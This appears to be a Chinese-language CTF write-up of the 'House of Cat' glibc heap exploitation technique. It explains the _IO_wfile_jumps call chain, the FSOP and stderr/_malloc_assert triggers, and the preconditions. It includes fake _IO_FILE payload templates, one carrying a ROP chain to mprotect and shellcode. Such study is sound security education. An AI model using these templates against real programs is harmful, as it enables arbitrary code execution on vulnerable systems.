利用思路
利用_IO_wfile_jumps
函数中的_IO_wfile_seekoff
函数,在转到调用_IO_switch_to_wget_mode
函数进行攻击。
调用链:
_IO_wfile_jumps ——> _IO_wfile_seekoff ——> _IO_switch_to_wget_mode(fp)
gdb中结构如下:



相比于House_of_emma
,House_of_cat
可以进行FSOP
,具体操作为:改虚表指针vtable
为_IO_wfile_jumps+0x10
并结合_malloc_assert
触发;
利用条件
- 任意写一个可控地址(如
largebin_attack
)
- 泄露libc和heap
- 触发:
- 调用exit或从main退出
- puts、printf函数调用
- _malloc_assert
在最后一步调用中:此时的rdi是我们传入的堆地址,那么此时我们泄露libc后,rdi、rax、rdx我们就都可以自主控制了,而利用这个 call [rax + 0x18]
汇编代码我们就可以执行我们控制的rax寄存器的地址。

主要是这四句,也就是红框中汇编:
- rax1 = [rdi+0xa0]
- rdx = [rax + 0x20]
- rax2 = [rax + 0xe0]
- call [rax + 0x18]
这里接下来有两种思路:
触发方式
同时,我们也有两种方式触发攻击效果:
- FSOP,也就是伪造
_IO_list_all
为可控地址
- 修改
stderr
为可控地址,在可控地址中伪造 fake_IO
结构体,利用 malloc_assert
触发。stderr = libc_base + libc.sym["stderr"]
如果main函数不能正常返回,或者没有exit,那就不能使用FSOP
。老老实实用stderr
,利用malloc_assert
触发。
FSOP 无法使用,且没有malloc函数的情况下需要修改 top_chunk size
来触发_malloc_assert
以触发 IO 流操作。
fake io模版
fake_io_addr=heapbase+0xb00 next_chain = 0 fake_IO_FILE=p64(rdi) fake_IO_FILE+=p64(0)*7 fake_IO_FILE +=p64(1)+p64(2) fake_IO_FILE +=p64(fake_io_addr+0xb0) fake_IO_FILE +=p64(call_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00') fake_IO_FILE += p64(heapbase+0x1000) fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00') fake_IO_FILE +=p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00') fake_IO_FILE += p64(libcbase+0x2160c0+0x10) fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)
|
==注:若FSOP需将vtable改为IO_wfile_jumps+0x30==
其中在 stderr
中的 fake_IO_FILE 如下:因为chunk头有0x10,所以这里的数据要少0x10
next_chain = 0 fake_io_addr = heap_base + 0x290 shellcode_addr = heap_base + 0x750 payload_addr = heap_base + 0x700 flag_addr = heap_base+0x1000 payload = p64(payload_addr+0x10) + p64(ret) payload += p64(pop_rdi_ret) + p64(heap_base) payload += p64(pop_rsi_ret) + p64(0x7000) payload += p64(pop_rdx_ret) + p64(7) payload += p64(mprotect) + p64(shellcode_addr) payload += shellcode fake_IO_FILE = p64(0) fake_IO_FILE += p64(0)*5 fake_IO_FILE += p64(1)+p64(2) fake_IO_FILE += p64(payload_addr-0xa0) fake_IO_FILE += p64(setcontext+61) fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00') fake_IO_FILE += p64(flag_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') fake_IO_FILE += p64(_IO_wfile_jumps+0x10) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)
|
在ropper中使用search mov rdx
:
